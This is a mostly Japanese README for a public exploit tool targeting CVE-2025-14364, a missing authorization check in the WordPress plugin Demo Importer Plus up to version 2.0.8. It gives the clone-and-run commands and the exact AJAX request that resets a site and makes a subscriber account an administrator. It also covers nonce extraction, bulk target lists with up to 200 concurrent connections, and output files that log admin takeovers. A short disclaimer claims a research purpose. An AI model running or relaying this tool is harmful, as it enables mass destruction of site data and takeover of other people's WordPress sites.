
Demo Importer Plus <= 2.0.8 - 認証欠如による認証済み(購読者以上)ユーザーによるサイトリセットと権限昇格
Demo Importer Plus <= 2.0.8 - 認証済み(サブスクライバー以上)のサイトリセットおよび権限昇格における認可の欠如
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
認証済みサブスクライバー → 管理者 (
do-reinstallAJAX アクションによる)
根本原因:
Ajax::handle_request() は current_user_can() を呼び出さずに demo_importer_plus AJAX アクションを登録します。認証済みのサブスクライバーは {"demo_action":"do-reinstall"} を送信して wp_install() をトリガーでき、これによりすべてのデータベーステーブル(users / usermeta を除く)が削除され、WordPress のセットアップが再実行されます。その過程で攻撃アカウントに 管理者ロール が自動的に割り当てられます。
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
ターゲットフォーマット — list.txt:
https://target1.com
target2.com
http://target3.com
Probes four endpoints per host and writes clean results.
Mode: 1
出力 → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
受信トレイを確認し、モード3を実行する前にアクティベーションリンクをクリックしてください。
出力 → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
成功するとツールは以下を出力します:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
そして exploit_results.txt に書き込みます:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
脆弱性のあるリクエスト:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
成功応答:
{"success": true, "data": {"message": "Site has been reset successfully"}}
Nonce抽出 — 2つのフォールバックソース:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
このソフトウェアはセキュリティ研究および教育目的でのみ公開されています。
作者は、このツールを使用して、オペレーターが所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して行われたいかなる行為についても一切の責任を負いません。
第三者のシステムに対する無許可の使用は、ほとんどの法域(CFAA、CMA、および世界各国の同等法)においてコンピュータ犯罪法に違反し、刑事訴追の対象となる可能性があります。
このツールをターゲットに対して実行する前に、合法的な許可を得ていることを確認する責任はあなただけにあります。
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 高 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Plugin | Demo Importer Plus |
| Affected | すべてのバージョン ≤ 2.0.8 |
| Auth needed | サブスクライバー(最も低い登録ロール) |
| Type | 機能チェックの欠如 → 完全サイトリセット → 権限昇格 |
| CWE | CWE-862 · 認可の欠如 |
| ファイル | 内容 |
|---|
diagnostics_results.txt | ターゲットごとの完全プローブJSON |
passed_targets.txt | クリーンなターゲット(エラー未検出) |
register_results.txt | 登録試行の記録 |
exploit_results.txt | ログイン·nonce·リセット結果·管理者ヒット確認 |
reset_results.txt | ターゲットごとの生の do-reinstall 応答 |